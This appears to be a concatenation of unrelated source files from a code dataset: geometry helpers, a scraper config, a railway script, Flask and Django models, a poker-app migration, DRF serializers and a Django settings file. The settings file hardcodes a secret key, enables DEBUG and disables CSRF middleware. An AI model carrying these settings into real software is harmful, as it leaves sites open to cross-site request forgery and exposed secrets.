aa, bb, cc, dd = a * a, b * b, c * c, d * d
bc, ad, ac, ab, bd, cd = b * c, a * d, a * c, a * b, b * d, c * d
return np.array([[aa + bb - cc - dd, 2 * (bc + ad), 2 * (bd - ac)],
[2 * (bc - ad), aa + cc - bb - dd, 2 * (cd + ab)],
[2 * (bd + ac), 2 * (cd - ab), aa + dd - bb - cc]])
def _rotation_matrix_sin(d):
"""
Calculates a rotation matrix given a vector d. The direction of d
corresponds to the rotation axis. The length of d corresponds to
the sin of the angle of rotation.
Variant of: http://mail.scipy.org/pipermail/numpy-discussion/2009-March/040806.html
"""
sin_angle = np.linalg.norm(d)
if sin_angle == 0:
return np.identity(3)
d /= sin_angle
sin_angle = np.linalg.norm(d)
eye = np.eye(3)
ddt = np.outer(d, d)
skew = np.array([[0, d[2], -d[1]],
[-d[2], 0, d[0]],
[d[1], -d[0], 0]], dtype=np.float64)
M = ddt + np.sqrt(1 - sin_angle ** 2) * (eye - ddt) + sin_angle * skew
return M
def _cylinder(pos_start, direction, length, radius, n_points):
# Build cylinder pointing to positive x-direction with right radius and length
alpha = np.array([0., length])
theta_ring = np.linspace(0., np.pi * 2., int(n_points))
r = radius
x = np.zeros((theta_ring.size * alpha.size))
y = np.zeros((theta_ring.size * alpha.size))
z = np.zeros((theta_ring.size * alpha.size))
for idx_alpha, crt_alpha in enumerate(alpha):
x[idx_alpha * theta_ring.size:(idx_alpha + 1) * theta_ring.size] = r * np.cos(theta_ring)
y[idx_alpha * theta_ring.size:(idx_alpha + 1) * theta_ring.size] = r * np.sin(theta_ring)
z[idx_alpha * theta_ring.size:(idx_alpha + 1) * theta_ring.size] = crt_alpha * np.ones(theta_ring.size)
# rotate cylinder to match direction
#
# - rho: length of vector projection on x-y plane
# - phy: angle of rotation wrt y-axis
# - theta: angle of rotation wrt z-axis
y_axis = np.array([0., 1., 0.])
z_axis = np.array([0., 0., 1.])
if direction[0] == 0:
theta = -np.sign(direction[1]) * np.pi / 2.
else:
if direction[0] > 0:
theta = -np.arctan(direction[1] / direction[0])
else:
theta = np.pi - np.arctan(direction[1] / direction[0])
rho = np.sqrt((direction[0] ** 2 + direction[1] ** 2))
if rho == 0:
if direction[2] > 0:
phi = 0.
else:
phi = np.pi
else:
phi = -(np.pi / 2. - np.arctan(direction[2] / rho))
rot1_m = _rotation_matrix(y_axis, phi)
rot2_m = _rotation_matrix(z_axis, theta)
for idx, (crt_x, crt_y, crt_z) in enumerate(zip(x, y, z)):
crt_v = np.array([crt_x, crt_y, crt_z])
crt_v = np.dot(crt_v, rot1_m)
crt_v = np.dot(crt_v, rot2_m)
x[idx] = crt_v[0]
y[idx] = crt_v[1]
z[idx] = crt_v[2]
# move cylinder to start position
x += pos_start[0]
y += pos_start[1]
z += pos_start[2]
return x, y, z
| [
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] | |
a39a79b5d049d2d800419e17ce8a75303519cca7 | 8e1199e846f0f1b0a7636d0fa759dff2afe68dd6 | /switch/__init__.py | 4992c1d3c580dd9ff392bb9d17136e0c2945f80f | [
"BSD-3-Clause"
] | permissive | jeffseif/switch | 294494ad5cf87c09db2ffa82dd4de04de63ae970 | c1eec77528d8780c43f8335daa2c7f523c4b263e | refs/heads/main | 2022-10-28T06:07:15.510115 | 2022-10-08T22:02:52 | 2022-10-08T22:02:52 | 88,374,702 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 557 | py | __author__ = "Jeffrey Seifried"
__description__ = "Scraping tools for getting me a damn Nintendo Switch"
__program__ = "switch"
__version__ = "1.0.0"
__year__ = "2017"
HEADERS = {
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, sdch",
"Accept-Language": "en-US,en;q=0.8",
"Connection": "keep-alive",
"Referer": "https://www.google.com/",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36", # noqa
}
TTL = 600 # IO caches will be ignored after 10 minutes
| [
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] | |
a6f138a19ec6c83dc6e886ac72714b58bd445869 | ea9cf32c2c0c61d4747fce4e11c3f632ca0a1a2e | /start_railway_data_create.py | f42ba338dca725b0a64c4665e67a894fb7d31e1c | [] | no_license | yukou-isshiki/most_longest_ticket_root_calc | 5b7eab4af3e3e7cd572b0e684345c138e5e6b50f | 48e351a0705a2faff2da8970b6497b4687198b85 | refs/heads/master | 2023-04-01T00:53:01.875783 | 2023-03-15T14:00:32 | 2023-03-15T14:00:32 | 182,359,346 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,810 | py | erea = ""
file1 = f"all_line_data/{erea}_all_line_data.txt"
f = open(file1, "r")
lines = f.readlines()
station_dict = {}
for line in lines:
line_data = line.split(",")
for i in range(0,2):
if line_data[i] not in station_dict:
station_dict[line_data[i]] = 1
else:
station_dict[line_data[i]] = station_dict[line_data[i]] + 1
start_list = []
# 分岐駅と隣駅でも分割する
for line in lines:
line_data = line.split(",")
if station_dict[line_data[0]] > 2:
if (line_data[1] not in start_list) and (station_dict[line_data[1]] == 2):
start_list.append(line_data[1])
elif station_dict[line_data[1]] > 2:
if (line_data[0] not in start_list) and (station_dict[line_data[0]] == 2):
start_list.append(line_data[0])
start = ""
end = ""
distance = 0
file2 = f"graphillion_data/{erea}_start_graphillion.txt"
f2 = open(file2, "w")
stop_station_list = [] # 分岐駅では無いが、路線名が途中で変わる駅(神戸・金沢等)や、強制的に分割したい駅をリスト形式で入れる
for line in lines:
line_data = line.split(",")
if start == "":
start = line_data[0]
if (station_dict[line_data[1]] != 2) or (line_data[1] in stop_station_list) or (line_data[1] in start_list):
end = line_data[1]
if end == "":
distance += float(line_data[2])
distance = round(distance, 1)
else:
distance += round(float(line_data[2]),2)
distance = round(distance, 1)
print("{0},{1},{2}".format(start, end, distance))
write_list = [start, end, str(distance)]
write_line = ",".join(write_list)
f2.write(write_line)
f2.write("\n")
start = ""
end = ""
distance = 0
f.close()
f2.close() | [
"[email protected]"
] | |
ee8c93abd46bc299d57fa391eda1859876206a33 | 949586a3ed05f02bda4cb618c763b66e4cb36555 | /listOrTuple.py | eaa109fe158f94a46f7920fef66bc6b7b1b57e98 | [] | no_license | cjohannsen81/pythonscripts | 51ff100d8d2100718e51fd888510fbb76bf811be | cc6fd84bf185455e027cafd27a98505bf449ea8c | refs/heads/master | 2020-06-03T23:46:43.774703 | 2013-10-02T17:15:14 | 2013-10-02T17:15:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 102 | py | t = ("ich","bin","ein","tuple")
print t
l = []
for i in t:
l.append(i)
l.insert(3, "fake")
print l
| [
"[email protected]"
] | |
f53c1b689ee5c4ad02f76119da9f93805dfd9b8e | 936d88d5d91119a31b64b177eb31754c969ba52d | /study/p02-2-findmaxidx.py | 17f81a88aa802879e273da43a44b71769dce66e5 | [] | no_license | gtg7784/algorithm-study | 4df3f56bae3506795d7c46feae4a17badb61c4a9 | 82d43b6928a626f0b4854bcc6ad2429861f53960 | refs/heads/master | 2021-05-21T08:26:39.113630 | 2020-09-03T18:10:26 | 2020-09-03T18:10:26 | 252,618,845 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 347 | py | # 최댓값의 위치 구하기
# 입력: 숫자가 n개 들어있는 리스트
# 출력: 숫자 n개 중 최댓값의 위치
# 시간복잡도: O(n)
def find_max_idx(a):
n = len(a)
max_idx = 0
for i in range(1, n):
if a[i] > a[max_idx]:
max_idx = i
return max_idx
v = [17, 92, 18, 33, 58, 7, 33, 42]
print(find_max_idx(v)) | [
"[email protected]"
] | |
701531476b09a2943070aaede0e4651e6c1fb273 | f990a00c7116f6e3317e834129f5af7435b5e50b | /app/models.py | c28b2be37709725dda2039ff91d3fefa3b43b499 | [] | no_license | gabsw/cs50w_project1_bookclub | dc44debfb83c623af6627a8103edce1eb5401259 | c453e110faadbd10d694be1fe64402cd547e7db2 | refs/heads/master | 2022-12-12T12:36:46.002572 | 2019-01-22T20:55:27 | 2019-01-22T20:55:27 | 167,066,199 | 0 | 0 | null | 2021-06-01T23:17:59 | 2019-01-22T20:57:53 | Python | UTF-8 | Python | false | false | 2,297 | py | from flask_login import UserMixin
from werkzeug.security import check_password_hash
class User(UserMixin):
def __init__(self, username, password_hash, user_id=None):
self.username = username
self.password_hash = password_hash
self.user_id = user_id
def get_id(self):
return self.user_id
def check_password(self, password):
return check_password_hash(self.password_hash, password)
@staticmethod
def create_from_db_record(record):
# getattr gets the named attribute from the record, if it exists
# if it doesn't exist, returns a default value, which is set to None below
# getattr(record, "username", None)
return User(record.username, record.password_hash, record.id)
class Review:
def __init__(self, body, score, book_id, user_id, review_id=None):
self.body = body
self.score = score
self.book_id = book_id
self.user_id = user_id
self.review_id = review_id
@staticmethod
def create_from_db_record(record):
# this wont work for all queries, as one of them doesnt ask for the ids
return Review(record.body, record.score, record.book_id, record.user_id, record.id)
class Book:
def __init__(self, title, author, publication_year, isbn, book_id=None):
self.title = title
self.author = author
self.publication_year = publication_year
self.isbn = isbn
self.book_id = book_id
@staticmethod
def create_from_db_record(record):
return Book(record.title, record.author, record.publication_year, record.isbn, record.id)
class ReviewWithUser:
def __init__(self, username, body, score):
self.username = username
self.body = body
self.score = score
@staticmethod
def create_from_db_record(record):
return ReviewWithUser(record.username, record.body, record.score)
class UserRating:
def __init__(self, username, body, score, title, isbn):
self.username = username
self.body = body
self.score = score
self.title = title
self.isbn = isbn
@staticmethod
def create_from_db_record(record):
return UserRating(record.username, record.body, record.score, record.title, record.isbn) | [
"[email protected]"
] | |
6ae9649f2b68a722ce030ec1b2bfe719d32a8c8f | 9bf6adb1d3795c24cc28b6a6901052cdb7e6034a | /end/project1/bookdemo/booktest/urls.py | 2586ea9f5b68d35a059efd0e6d7e5037515d9148 | [] | no_license | 1552965337/py1911 | abffc3a3a7fef33a00fc2ef91c834586c4adbf4a | 18c8876b63134d158ea26972b278f78720f83b19 | refs/heads/master | 2023-01-28T08:39:40.477794 | 2020-03-16T11:25:01 | 2020-03-16T11:25:01 | 239,445,710 | 0 | 0 | null | 2023-01-05T09:06:11 | 2020-02-10T06:45:58 | JavaScript | UTF-8 | Python | false | false | 1,152 | py | # author sqz
# date 2020/2/13 14:35
# file_name urls
from django.conf.urls import url
from . import views
app_name = "booktest"
# 2. 每一个路由文件中必须编写路由数据
urlpatterns = [
# url 第一个参数作为正则表达式 为了匹配输入的网址 第二个参数为需要执行的视图函数
# url(r'^index/$',views.index),
url(r'^$', views.index, name='index'),
# 使用正则分组可以向视图函数中传递参数
# 第一个参数就是路由 第二个参数就是视图函数
# 第一个参数中如果有正则分组 小括号 则正则分组匹配的内容会作为实参传递给视图函数
url(r'^detail/(\d+)/$', views.detail, name='detail'),
url(r'^about/$', views.about, name='about'),
url(r'^deletebook/(\d+)/$', views.deletebook, name='deletebook'),
url(r'^addbook/$', views.addbook, name='addbook'),
url(r'^editbook/(\d+)/$', views.editbook, name='editbook'),
url(r'^addhero/(\d+)/$', views.addhero, name='addhero'),
url(r'^edithere/(\d+)/$', views.edithere, name='edithere'),
url(r'^deletehero/(\d+)/$', views.deletehero, name='deletehero'),
]
| [
"[email protected]"
] | |
ba425adbaa18ee9c01e0b440da77fecc0b2b5ada | cc270b86d4b063f22af2aa197bf0f90175f0fe58 | /santiago/migrations/0022_auto__add_field_userchipcount_bank_chips.py | b579eef469ee6157834e5c607827d77cf0d11c42 | [] | no_license | ardiangashi237/poker | 57c809ce5c96b174fe8ccccc04d9e49ae6fd411a | 942935ec634f91cca3285905868ea806c5677964 | refs/heads/master | 2020-05-16T20:51:04.893840 | 2013-08-19T14:11:16 | 2013-08-19T14:11:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,017 | py | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'UserChipCount.bank_chips'
db.add_column('santiago_userchipcount', 'bank_chips',
self.gf('django.db.models.fields.IntegerField')(default=0),
keep_default=False)
def backwards(self, orm):
# Deleting field 'UserChipCount.bank_chips'
db.delete_column('santiago_userchipcount', 'bank_chips')
models = {
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'santiago.buyin': {
'Meta': {'object_name': 'BuyIn'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'live_chips': ('django.db.models.fields.IntegerField', [], {}),
'real_chips': ('django.db.models.fields.IntegerField', [], {}),
'table': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['santiago.PokerTable']"}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'santiago.chippackage': {
'Meta': {'object_name': 'ChipPackage'},
'chip_qty': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'price': ('django.db.models.fields.DecimalField', [], {'max_digits': '5', 'decimal_places': '2'})
},
'santiago.chiptransaction': {
'Meta': {'object_name': 'ChipTransaction'},
'chips': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'timestamp': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.CharField', [], {'max_length': '3'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'santiago.faq': {
'Meta': {'object_name': 'Faq'},
'answer': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['santiago.FaqCategory']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'question': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'sequence': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True', 'blank': 'True'})
},
'santiago.faqcategory': {
'Meta': {'object_name': 'FaqCategory'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '30'}),
'sequence': ('django.db.models.fields.SmallIntegerField', [], {'null': 'True', 'blank': 'True'})
},
'santiago.membershiplevel': {
'Meta': {'object_name': 'MembershipLevel'},
'ad_required_for_top_up': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'allow_chip_purchases': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'daily_top_up_threshold': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '20'})
},
'santiago.pokernetchipcount': {
'Meta': {'object_name': 'PokernetChipCount', 'db_table': "u'user2money'"},
'amount': ('django.db.models.fields.BigIntegerField', [], {}),
'currency_serial': ('django.db.models.fields.IntegerField', [], {'primary_key': 'True'}),
'points': ('django.db.models.fields.BigIntegerField', [], {}),
'rake': ('django.db.models.fields.BigIntegerField', [], {}),
'user_serial': ('django.db.models.fields.IntegerField', [], {'primary_key': 'True'})
},
'santiago.pokernetuser': {
'Meta': {'object_name': 'PokernetUser', 'db_table': "u'users'"},
'affiliate': ('django.db.models.fields.IntegerField', [], {}),
'created': ('django.db.models.fields.IntegerField', [], {}),
'email': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255', 'blank': 'True'}),
'future_rating': ('django.db.models.fields.FloatField', [], {}),
'games_count': ('django.db.models.fields.IntegerField', [], {}),
'locale': ('django.db.models.fields.CharField', [], {'max_length': '96'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '192'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '96'}),
'privilege': ('django.db.models.fields.IntegerField', [], {}),
'rating': ('django.db.models.fields.IntegerField', [], {}),
'serial': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'skin_image': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'skin_image_type': ('django.db.models.fields.CharField', [], {'max_length': '96', 'blank': 'True'}),
'skin_outfit': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'skin_url': ('django.db.models.fields.CharField', [], {'max_length': '765'})
},
'santiago.pokertable': {
'Meta': {'object_name': 'PokerTable', 'db_table': "u'pokertables'"},
'average_pot': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'betting_structure': ('django.db.models.fields.CharField', [], {'max_length': '765'}),
'currency_serial': ('django.db.models.fields.IntegerField', [], {}),
'hands_per_hour': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'muck_timeout': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '765'}),
'observers': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'percent_flop': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'player_timeout': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'players': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'resthost_serial': ('django.db.models.fields.IntegerField', [], {}),
'seats': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'serial': ('django.db.models.fields.IntegerField', [], {'primary_key': 'True'}),
'skin': ('django.db.models.fields.CharField', [], {'max_length': '765'}),
'tourney_serial': ('django.db.models.fields.IntegerField', [], {}),
'variant': ('django.db.models.fields.CharField', [], {'max_length': '765'}),
'waiting': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'})
},
'santiago.registrationprofile': {
'Meta': {'object_name': 'RegistrationProfile'},
'activation_key': ('django.db.models.fields.CharField', [], {'max_length': '40'}),
'client_host': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'client_ip': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'santiago.registrationprofileverification': {
'Meta': {'object_name': 'RegistrationProfileVerification'},
'client_host': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'client_ip': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'registration_profile': ('django.db.models.fields.related.OneToOneField', [], {'related_name': "'verification'", 'unique': 'True', 'to': "orm['santiago.RegistrationProfile']"}),
'verified': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
},
'santiago.securityquestion': {
'Meta': {'object_name': 'SecurityQuestion'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'question': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'santiago.userchipcount': {
'Meta': {'object_name': 'UserChipCount'},
'bank_chips': ('django.db.models.fields.IntegerField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'live_chips': ('django.db.models.fields.IntegerField', [], {}),
'real_chips': ('django.db.models.fields.IntegerField', [], {}),
'serial': ('django.db.models.fields.IntegerField', [], {}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True', 'null': 'True'})
},
'santiago.usermembershiplevelhistory': {
'Meta': {'object_name': 'UserMembershipLevelHistory'},
'effective_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'end_date': ('django.db.models.fields.DateTimeField', [], {'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'level': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['santiago.MembershipLevel']"}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'santiago.userprofile': {
'Meta': {'object_name': 'UserProfile'},
'birthdate': ('django.db.models.fields.DateField', [], {}),
'city': ('django.db.models.fields.CharField', [], {'max_length': '64'}),
'current_member_level': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['santiago.MembershipLevel']"}),
'gender': ('django.db.models.fields.CharField', [], {'max_length': '1'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'phone': ('django.contrib.localflavor.us.models.PhoneNumberField', [], {'max_length': '20'}),
'pin_delivery': ('django.db.models.fields.CharField', [], {'max_length': '3'}),
'security_answer': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'security_question': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['santiago.SecurityQuestion']"}),
'state': ('django.db.models.fields.CharField', [], {'max_length': '2'}),
'street1': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'street2': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['auth.User']", 'unique': 'True'}),
'zip': ('django.db.models.fields.CharField', [], {'max_length': '64'})
}
}
complete_apps = ['santiago'] | [
"[email protected]"
] | |
84d104ca8934b9f9c81f8de3b00aa4b83d84372b | 71610a0586f77307664dcf3c5f216687db7681d0 | /hack104_rec/template/__init__.py | b51695f6a268429f3342e66072b3663654dbd3a9 | [] | no_license | d2207197/hack104-rec | c441fa24a481af1acef0b89745dfff7b73b383c4 | 9385d6f69b089901688e83cf740a576e32722bfa | refs/heads/master | 2020-03-22T00:33:15.652868 | 2018-07-16T16:00:47 | 2018-07-16T16:00:47 | 139,252,000 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 196 | py | from jinja2 import Environment, PackageLoader, select_autoescape
env = Environment(
loader=PackageLoader('hack104_rec', 'template'),
autoescape=select_autoescape(['html', 'xml', 'j2'])
)
| [
"[email protected]"
] | |
3a5d61ca6da2b49eba30877f7dc5cc07d4e525df | 0a27d046e21c3ae385e0109e41b90717b12ed3c7 | /apps/arena/serializers.py | fd8a5659281d546466be61192fd7da9e42f78f1e | [] | no_license | bbright3493/gz_v1.0.0 | 375716b26ed4b3221090adc58755de564aa12c3c | 9205dfd8dd0c822a9f5352db845fc12c319db3e3 | refs/heads/master | 2020-03-26T01:17:25.085015 | 2019-02-11T07:40:23 | 2019-02-11T07:40:23 | 144,360,492 | 0 | 2 | null | 2018-09-23T05:58:35 | 2018-08-11T06:13:02 | JavaScript | UTF-8 | Python | false | false | 1,971 | py |
from rest_framework import serializers
from apps.user_relationship.models import UserAchievement
from .models import *
class TotalRankSerializers(serializers.ModelSerializer):
"""
总排行榜序列化
"""
class Meta:
model = UserAchievement
fields = "__all__"
depth = 1
class WeekRankSerializers(serializers.ModelSerializer):
"""
周排行榜序列化
"""
class Meta:
model = UserAchievement
fields = "__all__"
depth = 1
class ClassRankSerializers(serializers.ModelSerializer):
"""
日排行榜序列化
"""
class Meta:
model = UserAchievement
fields = "__all__"
depth = 1
class PassSerializer(serializers.ModelSerializer):
"""
关卡信息序列化
"""
class Meta:
model = Pass
fields = "__all__"
class UserPassSerializer(serializers.ModelSerializer):
"""
用户关卡信息序列化
"""
class Meta:
model = UserPass
fields = "__all__"
class ChallengerSerializer(serializers.ModelSerializer):
"""
挑战者信息序列化
"""
class Meta:
model = Challenger
fields = "__all__"
class UserPkExerciseSerializers(serializers.ModelSerializer):
"""
pk题目信息序列化
"""
class Meta:
model = UserPkExercise
fields = "__all__"
class PkDetailSerializers(serializers.ModelSerializer):
"""
pk详情信息序列化
"""
user_pk_exec = UserPkExerciseSerializers(many=True)
class Meta:
model = UserPkDetail
fields = "__all__"
class TeamCompSerializers(serializers.ModelSerializer):
"""
团赛信息序列化
"""
class Meta:
model = TeamComp
fields = "__all__"
class UserTeamCompSerializers(serializers.ModelSerializer):
"""
用户团赛信息序列化
"""
class Meta:
model = UserTeamComp
fields = "__all__"
| [
"[email protected]"
] | |
8ff9fb1c0b04a24964e36fc719086182632ad5e7 | a1a166011a5a76c2a9e83316927649b7a60ce4e5 | /resources/pagination.py | 370bb14273c6ccfa1f13cb76533130d8a3718f21 | [
"MIT"
] | permissive | CityOfHameenlinna/hmlvaraus-backend | 5e60c33e624b2d7984a6ddabbc465e8640010a50 | 181898f3c947298949adaf2156ad2d25da1e6002 | refs/heads/master | 2020-03-13T05:30:03.851534 | 2018-05-30T06:49:13 | 2018-05-30T09:34:16 | 130,985,577 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 878 | py | from rest_framework.pagination import PageNumberPagination, _positive_int
class DefaultPagination(PageNumberPagination):
page_size = 20
page_size_query_param = 'page_size' # Allow client to override, using `?page_size=xxx
max_page_size = 100
class PurposePagination(DefaultPagination):
page_size = 40
class ReservationPagination(DefaultPagination):
def get_page_size(self, request):
if self.page_size_query_param:
cutoff = self.max_page_size
if request.query_params.get('format', '').lower() == 'xlsx':
cutoff = 50000
try:
return _positive_int(
request.query_params[self.page_size_query_param],
strict=True, cutoff=cutoff
)
except (KeyError, ValueError):
pass
return self.page_size
| [
"[email protected]"
] | |
0a81d515dbb95bd8f5d2f769c3598c4d7aa27146 | c9657a8d71fcc5d90727567b88f555d6f092698d | /month03/django/day02/mysite1/mysite1/settings.py | 02caae91e8b9c941dd3b8771459f06634dd63812 | [] | no_license | xiashuo/tedu_execises | a44a9e54283c221c7708081a57610c0338705cc4 | fc1a9051903817df0d796357714f9403e929f5a2 | refs/heads/master | 2022-11-20T08:54:14.118094 | 2020-07-19T16:24:06 | 2020-07-19T16:24:06 | 270,349,010 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,094 | py | """
Django settings for mysite1 project.
Generated by 'django-admin startproject' using Django 2.2.12.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'z2$$s4k&$vqg&-(vjb!u)h-ff7#+u=v@fo+*r614nvy%%tq1=)'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
# 'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'mysite1.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'mysite1.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
